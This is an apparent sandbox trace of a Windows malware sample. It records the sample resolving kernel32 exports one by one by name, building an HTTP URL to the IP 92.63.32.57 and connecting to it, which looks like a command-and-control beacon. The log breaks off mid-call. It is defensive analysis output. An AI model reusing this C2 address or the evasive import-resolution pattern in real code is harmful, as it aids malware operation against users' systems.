[0109.144] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0109.144] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0109.144] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0109.144] lstrlenA (lpString="CREATEFILEW") returned 11 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0109.144] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0109.144] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0109.144] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0109.144] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0109.144] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0109.144] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0109.144] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0109.144] lstrlenA (lpString="CREATEJOBSET") returned 12 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0109.144] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0109.144] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0109.144] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0109.144] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0109.144] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0109.145] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0109.145] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0109.145] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0109.145] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0109.145] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0109.145] lstrlenA (lpString="CREATEPIPE") returned 10 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0109.145] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0109.145] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0109.145] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0109.145] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0109.145] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0109.145] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0109.145] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0109.145] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0109.145] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0109.145] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0109.145] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0109.146] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0109.146] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0109.146] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0109.146] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0109.146] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0109.146] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0109.146] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0109.146] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0109.146] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0109.146] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0109.146] lstrlenA (lpString="CREATETHREAD") returned 12 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0109.146] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0109.146] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0109.146] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0109.146] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0109.146] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0109.146] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0109.147] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0109.147] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0109.147] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0109.147] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0109.147] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0109.147] GetTickCount () returned 0x30c84 [0109.147] GetTickCount () returned 0x30c84 [0109.147] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0109.148] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.148] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0109.148] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.32.57/mxn.jspx?q=8c0354xv1&wm=xo6") returned 46 [0109.149] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0109.149] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0109.149] VirtualAlloc (lpAddress=0x0, dwSize=0x1d, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0109.150] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0109.150] lstrlenA (lpString="kernel32.dll") returned 12 [0109.150] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.151] inet_pton (in: Family=2, pszAddrString="92.63.32.57", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0109.151] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0109.151] socket (af=2, type=1, protocol=6) returned 0x544 [0109.151] inet_addr (cp="92.63.32.57") returned 0x39203f5c [0109.151] htons (hostshort=0x50) returned 0x5000 [0109.151] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.32.57"), namelen=16) returned 0 [0109.192] lstrlenA (lpString="kernel32.dll") returned 12 [0109.193] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0109.193] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0109.193] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0109.193] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0109.193] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0109.193] lstrlenA (lpString="ADDATOMA") returned 8 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0109.193] lstrlenA (lpString="ADDATOMW") returned 8 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0109.193] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0109.193] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0109.193] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0109.193] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0109.193] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0109.193] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0109.193] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0109.193] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0109.194] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0109.194] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0109.194] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0109.194] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0109.194] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0109.194] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0109.194] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0109.194] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0109.194] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0109.194] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0109.194] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0109.194] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0109.194] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0109.194] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0109.194] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0109.194] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0109.195] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0109.195] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0109.195] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0109.195] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0109.195] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0109.195] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0109.195] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0109.195] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0109.195] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0109.195] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0109.195] lstrlenA (lpString="BACKUPREAD") returned 10 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0109.195] lstrlenA (lpString="BACKUPSEEK") returned 10 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0109.195] lstrlenA (lpString="BACKUPWRITE") returned 11 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0109.195] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0109.195] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0109.195] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0109.195] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0109.196] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0109.196] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0109.196] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0109.196] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0109.196] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0109.196] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0109.196] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0109.196] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0109.196] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0109.196] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0109.196] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0109.196] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0109.196] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0109.196] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0109.196] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0109.196] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0109.197] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0109.197] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0109.197] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0109.197] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0109.197] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0109.197] lstrcpyA (in: 